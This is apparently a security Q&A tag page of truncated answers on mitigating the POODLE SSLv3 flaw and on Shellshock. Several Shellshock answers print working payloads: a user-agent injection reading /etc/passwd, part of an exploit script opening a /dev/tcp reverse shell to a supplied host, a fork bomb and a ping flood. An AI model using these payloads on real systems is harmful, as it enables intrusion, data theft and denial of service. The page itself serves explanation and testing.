Tag Info

New answers tagged

1

If you don't want to give away your site's name to these other websites, you can also test it with... openssl s_client -ssl3 -host <your host name> -port 443 If it doesn't connect then you're ok. But also make sure that your openssl is working properly with your site... openssl s_client -host <your host name> -port 443 Disabling sslv3 also ...


5

There are secure non-POODLE-vulnerable ciphers which you can use with SSLv3 - POODLE only impacts variants with CBC. The RC4 ciphers, for example, are not vulnerable to POODLE. Now, RC4 is a tricky thing. It's considered breakable (but not really actively broken), but since it's the best workaround for things like BEAST and POODLE, it's heavily used and ...


1

The Poodle attack model is one where the attacker triggers the requests (normally with some Javascript in the client -- note that, in that case, requests will be GET, not POST, since that "evil Javascript" will be served as part of an unprotected Web page load from another site, and the same-origin policy will prevent arbitrary POST) and manipulates the ...


3

I see where you are going with this, and it's good, out of the box thinking. Unfortunately it isn't likely to work in many cases - if a browser supports SSLv3 chances are it supports bad ciphers too. My advice would be to put this system behind a web proxy where you can control the ciphers and protocols, and let the client connections terminate there. The ...


3

Firefox browser provides the easiest way to do such testing via the advanced settings in about:config where security.tls.version can be of the following values 0 - SSLv3 (set max and min value to this) 1 - TLSv1.0 2 - TLSv1.1 3 - TLSv1.2 What you will see when the website does not support SSLv3 is this: Please remember to set it back to max 3 and ...


2

It doesn't necessarily matter what your server uses by default - most servers and clients are configured to negotiate the highest protocol available. A major aspect of the POODLE attack is that an attacker can cause connection failures in a higher (non-vulnerable) protocol, and downgrade the victim to SSL3. Then they can exploit the vulnerability in SSL 3. ...


3

Some portions of your question need to be clarified. The SSL/TLS encryption is based upon the cipher suites supported by both the client and the server. Not the certificates issued to each social networking site. The certificates issued do not have a bearing on a website's vulnerability to POODLE. The fallback to another SSL version is only performed if ...


20

I've published a blog on how to disable SSLv3 in some of the most common bowsers and server platforms (https://scotthelme.co.uk/sslv3-goes-to-the-dogs-poodle-kills-off-protocol/). This should at least help answer the question on how to fully mitigate POODLE be you a client or a server. Below are the key details. How to protect your server The easiest and ...


0

The websites themselves aren't at risk. The user's data while it's on the website's connection is at risk. This is especially true for people on public wifi where the likelihood of an attacker being in control of user's traffic is much higher. It's only in the case that an attacker exercises control over your connection that your data is at risk. ...


26

To disable SSL v3.0 support: In Clients: Mozilla Firefox Either Install the Mozilla add-on called "SSL Version Control" Or Type about:config into the navigation bar and press [Enter] Accept the warning and proceed Search for tls Change the value of security.tls.version.min from 0 to 1 (0 = SSL 3.0; 1 = TLS 1.0) Chrome Run Chrome with the ...


203

What is the Poodle vulnerability ? The "Poodle" vulnerability, released on October 14th, 2014, is an attack on the SSL 3.0 protocol. It is a protocol flaw, not an implementation issue; every implementation of SSL 3.0 suffers from it. Please note that we are talking about the old SSL 3.0, not TLS 1.0 or later. The TLS versions are not affected (neither is ...


0

Do you write in logs which session IDs are generated? Maybe 'good' user got this session id from your application, but then application 'forgot' about this? (because session expires or because application was restarted, server rebooted) Simple guessing sessions id few times isn't very good way to hack site, maybe some tool like Splunk could greatly help ...


5

It's impossible to say. Assuming you don't have any ports forwarded to the PC and your router provides a DHCP server for your LAN, you aren't vulnerable to the classic attack vectors (CGI scripts on a webserver, a rogue DHCP server, or bypassing SSH command restrictions). However, bash is ubiquitous: you might be vulnerable to a program running something ...


3

the exact cgi script which uses bash as an interpreter "Using bash as an interpreter" not a precondition for the exploitation of the family of bash vulnerabilities called "shellshock" (the many distinct parsing vulnerabilities based on an environment variable with any name beginning with exactly the bytes () {). All you need to exploit one of ...


4

All the links that were up there weren't necessarily security issues. That wget for example was highlighting bots crawling webservers and giving security researchers some fresh blood to start looking for a C&C ;) More details : The bot are crawling internet like us, here when you see a wget ( http://un1c0rn.net/host/195.154.5.171 ) after an HTTP ...


0

I found the first one, which probably derived from this redhat post works reliably, while the second-one does not. Even on a vulnerable machine. I think the author of the second snippet misses the part that taviso's finding cannot be exploited the same way the original bug was. E.g. with tavisos snippet you can create a file, but cannot execute commands ...


2

Anything you do about this vulnerability should be based on an analysis of actual potential risk vectors. Just using the shell as your interactive shell, to be extreme, carries no risks from this bug at all. The bug only exists when some program allows a hostile party to control the contents of environment variables as seen by an invocation of the shell. ...


18

To determine definitively the degree to which this might or might not be "a prudent step", I think you would have to do some original security research on the possible replacements, which include: Debian's dash OpenBSD's ksh Busybox ash MirBSD/MirOS mksh ...and certainly others Mark's answer suggests that at least OpenBSD's has received security scrutiny ...


8

It is a bit ridiculous to react to a vulnerability being found in a product by replacing it with another. See the classic WW2 bomber survival survey problem for the reason why. Essentially, you're reacting to one rare and unlikely incident as if it were definitive evidence of the security of Bash against that of other shells. Keep in mind that visible ...


11

The only shell I know of that's been seriously inspected for security issues is OpenBSD's variant of ksh, and I don't know if that can be installed on a Linux system. Other than that, the only security advantage from changing your system shell is that by using a less-common shell, fewer people will be targeting you -- but by the same token, fewer people ...


2

Debian and Ubuntu already do this by using dash instead of bash for /bin/sh. Of course, this substitutes a less-inspected codebase in a key piece of system infrastructure, so it's a distinct possibility that it has unknown vulnerabilities of equal impact to the recent bash issues.


8

You don't need to be using bash explicitly for this to be an issue. The real problem is allowing attackers to have a say in the value of environment variables. After the environment is set, it's only a matter of time before some shell gets executed (maybe unknown to you) with an environment it was not prepared for. Every program (bash, java, tcl, php, ...


12

It's not just servers; client software can be affected as well. Here is an example of a vulnerable DHCP client. If a machine has such a vulnerable client (and broken bash), any machine on the subnet can send malformed DHCP responses and get root privileges. Given the widespread use of environment variables to share state between processes in Unix and the ...


130

A very simple example would be a cgi, /var/www/cgi-bin/test.cgi: #!/bin/bash echo "Content-type: text/plain" echo echo echo "Hi" Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd: wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" ...


4

Here's an example through a CGI script for a remote attack, untested - Taken from http://pastebin.com/166f8Rjx Like all exploits it relies on circumstances. Connects to a remote cgi file on the web-server and launches a reverse shell () { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3] # #CVE-2014-6271 cgi-bin reverse shell # import ...


13

The easiest way to test a web server via HTTP request is to inject the bash command through the user agent. Example: $ wget -U '() { :;}; /bin/bash -c "echo vulnerable"' http://example.com/some-cgi-script If a 5XX server error is generated, it means that the server is probably vulnerable to an exploit. For possible attack scenarios, please refer to this ...


90

With access to bash, even from the POV of a web user, the options are endless. For example, here's a fork bomb: () { :; }; :(){ :|: & };: Just put that in a user agent string on a browser, go to your web page, and instant DoS on your web server. Or, somebody could use your server as an attack bot: () { :; }; ping -s 1000000 <victim IP> Put ...



Top 50 recent answers are included